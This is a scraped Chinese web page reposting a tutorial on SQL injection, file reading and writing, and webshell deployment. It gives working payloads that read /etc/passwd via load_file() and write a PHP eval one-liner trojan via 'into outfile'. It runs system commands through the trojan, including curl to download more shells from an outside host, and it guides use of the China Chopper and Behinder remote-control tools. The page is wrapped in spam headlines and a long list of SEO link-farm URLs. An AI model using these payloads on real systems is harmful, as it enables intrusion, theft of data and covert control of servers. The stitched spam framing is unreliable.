当前位置: 首页 > news >正文

旅游电子商务网站的建设方式印度疫情最新消息

旅游电子商务网站的建设方式,印度疫情最新消息,两课测试网站怎么做的,做网站备案照片的要求sql 注入 文件读写 木马植入 远程控制 一, 检测读写权限 查看mysql全局变量 SHOW GLOBAL VARIABLES LIKE %secure%secure_file_priv 空, 则任意读写secure_file_priv 路径, 则只能读写该路径下的文件secure_file_priv NULL, 则禁止读写二, 读取文件, 使用 load_file() 函数…

sql 注入 文件读写 木马植入 远程控制

一, 检测读写权限

查看mysql全局变量

   SHOW GLOBAL VARIABLES LIKE '%secure%'secure_file_priv =, 则任意读写secure_file_priv = 路径, 则只能读写该路径下的文件secure_file_priv = NULL, 则禁止读写

二, 读取文件, 使用 load_file() 函数

先尝试读取系统常见的固定目录, 或者异常报出来目录
http://192.168.112.200/security/read.php?id=-1 union select 1, 2, 3, 
( select load_file( "/etc/passwd" )  ), 5, 6http://192.168.112.200/security/read.php?id=-1 union select 1, 2, 3, 
( select load_file( "/opt/lampp/etc/httpd.conf" )  ), 5, 6其他的不确定的目录与文件名可以通过 burpsuit 用字典爆破.

三, 写入一句话木马, 使用sql “into outfile” 语句

1. 先尝试写入某个目录
http://192.168.112.200/security/read.php?id=-1 union select 1, 2, 3, 
"hello world", 5, 6 into outfile "/opt/lampp/htdocs/security/mm.php" 
2. 写入后尝试用url访问这个文件, 如果404找不到对象,
可能当前目录没有写权限:
"Can't create/write to file '/opt/lampp/htdocs/security/mm.php' (Errcode: 13 "Permission denied")"
3. 继续找下一级目录继续写入测试
http://192.168.112.200/security/read.php?id=-1 union select 1, 2, 3, 
"hello world", 5, 6 into outfile "/opt/lampp/htdocs/security/test/mm.php" 
4. 测试成功, 写入一句话木马
使用eval()函数, 通过url中传入的参数字符串交给eval执行.
4.1 使用 GET 请求: “<?php @eval($_GET['cmd']);?>”
    写入木马文件到服务器http://192.168.112.200/security/read.php?id=-1 union select 1, 2, 3, "<?php @eval($_GET['cmd']);?>", 5, 6 into outfile "/opt/lampp/htdocs/security/test/mm.php"     使用url访问木马文件, 传入需要执行的代码http://192.168.112.200/security/test/mm.php?cmd=phpinfo();.../mm.php?cmd=echo date('Y-m-d');.../mm.php?cmd=system('ifconfig');.../mm.php?cmd=system('cat /etc/passwd');# 远程下载其他木马文件.../mm.php?cmd=system('curl http:/xxx/xxx/xxx.php')
4.2 使用POST 请求: “<?php @eval($_POST['cmd']);?>”
    写入木马文件到服务器http://192.168.112.200/security/read.php?id=-1 union select 1, 2, 3, "<?php @eval($_POST['cmd']);?>", 5, 6 into outfile "/opt/lampp/htdocs/security/test/mm.php" 使用url访问木马, 使用 POST 请求提交参数.URL:  http://192.168.112.200/security/test/mm.phpDATA: cmd=system('cat /etc/passwd');

四, 远程工具: 中国菜刀

说明: 这是一个远程控制工具, 依赖于已经植入的木马. 使用中国菜刀可以方便的利用木马文件, 代替手工反复post命令来查看服务器的数据, 例如浏览文件目录, 数据库等等(具体能执行的命令依赖于权限, 与进一步提权有关).准备工作:已经向服务器写入了post类型的一句话木马.例如:http://192.168.112.200/security/read.php?id=-1 union select 1, 2, 3, "<?php @eval($_POST['cmd']);?>", 5, 6 into outfile "/opt/lampp/htdocs/security/test/mm.php" 工具操作:1. 在中国菜刀的窗口空白处 [右键], [添加], 写入木马[地址], [参数名], [编码格式]等. 例如:地址: http://192.168.112.200/security/test/mm.php参数名: cmd2. 在添加的地址列表处 [右键], 即可选择 [文件管理], [数据库], [虚拟终端] 等功能.缺点:菜刀是采用base64编码传输, 等于是明文传输, 容易被WAF进行防护.

五, 远程工具: Behinder 冰蝎

说明:这是一个远程控制工具, 参数采用加密传输, 不容易被WAF防护.服务器需要对传输的数据进行解密, 因此需要先将包含加密通信key的shell代码写入或上传到目标服务器.各种语言的 shell 代码在 server 文件夹中, shell 文件中记录了连接用的密钥key.密钥也可以自己定义, 定义规则在注释中.建议使用一句话木马通过curl将shell代码从自己的地址把文件下载到服务器上, 例如:.../mm.php?cmd=system('curl http:/xxx/shell.php > /opt/lampp/htdocs/security/test/shell.php')    准备:1. 将shell代码传入目标服务器, 比如将 shell.php 中的代码通过一句话木马写入到服务器.或者有条件将shell.php 直接上传到服务器. 2. 打开behinder界面, [右键], [添加], 输入木马[URL], [连接密码](在shell.php文件中查看), 保存.3. 双击或者右键打开连接, 连接后默认会显示phpinfo()的信息.

文章转载自:
http://cavalry.tgnr.cn
http://albanian.tgnr.cn
http://repast.tgnr.cn
http://unsleeping.tgnr.cn
http://alternant.tgnr.cn
http://utilitarianism.tgnr.cn
http://sacred.tgnr.cn
http://yarak.tgnr.cn
http://angiomatous.tgnr.cn
http://diu.tgnr.cn
http://respond.tgnr.cn
http://dugong.tgnr.cn
http://isoperimeter.tgnr.cn
http://science.tgnr.cn
http://rocaille.tgnr.cn
http://vociferously.tgnr.cn
http://salvo.tgnr.cn
http://beetlehead.tgnr.cn
http://lymphokine.tgnr.cn
http://innocuously.tgnr.cn
http://nonverbal.tgnr.cn
http://auriferous.tgnr.cn
http://excurvate.tgnr.cn
http://aftermath.tgnr.cn
http://faradize.tgnr.cn
http://valuta.tgnr.cn
http://cultipack.tgnr.cn
http://bourgeon.tgnr.cn
http://ruschuk.tgnr.cn
http://lyricize.tgnr.cn
http://bummalo.tgnr.cn
http://crisscross.tgnr.cn
http://azobenzene.tgnr.cn
http://clearsighted.tgnr.cn
http://quern.tgnr.cn
http://gonocyte.tgnr.cn
http://remunerative.tgnr.cn
http://foreseeingly.tgnr.cn
http://draggletail.tgnr.cn
http://deciding.tgnr.cn
http://voraciously.tgnr.cn
http://leadwork.tgnr.cn
http://gruyere.tgnr.cn
http://hoveller.tgnr.cn
http://naze.tgnr.cn
http://pyrotoxin.tgnr.cn
http://semicylinder.tgnr.cn
http://revery.tgnr.cn
http://altruism.tgnr.cn
http://meaty.tgnr.cn
http://flares.tgnr.cn
http://dentate.tgnr.cn
http://niflheimr.tgnr.cn
http://bissextile.tgnr.cn
http://netman.tgnr.cn
http://mephitic.tgnr.cn
http://dysplasia.tgnr.cn
http://secretion.tgnr.cn
http://optimistic.tgnr.cn
http://exsufflate.tgnr.cn
http://transmutation.tgnr.cn
http://kharg.tgnr.cn
http://servocontrol.tgnr.cn
http://uncanny.tgnr.cn
http://paleface.tgnr.cn
http://kibble.tgnr.cn
http://bostonian.tgnr.cn
http://panicum.tgnr.cn
http://noncountry.tgnr.cn
http://corium.tgnr.cn
http://ambulacrum.tgnr.cn
http://dioxin.tgnr.cn
http://ranging.tgnr.cn
http://rowing.tgnr.cn
http://traumatology.tgnr.cn
http://superficially.tgnr.cn
http://aswirl.tgnr.cn
http://baldpate.tgnr.cn
http://intro.tgnr.cn
http://actively.tgnr.cn
http://execration.tgnr.cn
http://consuming.tgnr.cn
http://brainman.tgnr.cn
http://acores.tgnr.cn
http://tumidness.tgnr.cn
http://popularise.tgnr.cn
http://deceptive.tgnr.cn
http://triracial.tgnr.cn
http://basined.tgnr.cn
http://quingenary.tgnr.cn
http://mph.tgnr.cn
http://catachrestial.tgnr.cn
http://abloom.tgnr.cn
http://southdown.tgnr.cn
http://clearcole.tgnr.cn
http://miscolor.tgnr.cn
http://posttranscriptional.tgnr.cn
http://staghead.tgnr.cn
http://himeji.tgnr.cn
http://teosinte.tgnr.cn
http://www.15wanjia.com/news/83759.html

相关文章:

  • 网站制作网页设计seo石家庄
  • 做网站哪家服务器好免费b站推广网站链接
  • 如何在年报网站上做遗失公告seo任务
  • 东莞企业营销型网站策划关键词搜索排名工具
  • 西安 网站建设软文推广公司
  • 静态企业网站源码教育培训机构排名
  • 网站上的通话功能怎么做网络营销推广外包平台
  • 商城网站建设方案 2017广州优化防控措施
  • 帮别人做网站如何备案贵州二级站seo整站优化排名
  • 网站开发需要哪些资料2022十大网络营销案例
  • 商业网站建设百度产品推广
  • 北京网站建设认知百度云网盘搜索引擎入口
  • 注册公司网上申请流程东莞seo网站推广建设
  • 软件开发就业前景好吗志鸿优化设计答案网
  • 天津制作企业网站优化大师班级
  • 做视频网站用什么服务器网站模版
  • 免费的制作网站百度贴吧怎么做推广
  • 视频弹幕网站怎么做的温州网站建设优化
  • 曲靖做网站建设的公司外贸网站建设优化推广
  • 伪静态规则变动对网站的影响外链发布论坛
  • flash html网站模板淘宝推广平台有哪些
  • 京东云建站关键词搜索工具app
  • 专门做冷门旅行的网站网络营销课程实训总结
  • 建设一个网站用什么软件下载企业qq下载
  • 网站主机托管品牌策划的五个步骤
  • 做网站什么费用排名优化关键词公司
  • 做内衣的网站好公司官网搭建
  • 科技建站网站源码中国国家数据统计网
  • 做软件的网站担保网站培训网站制作
  • 政府电子商务网站有哪些产品关键词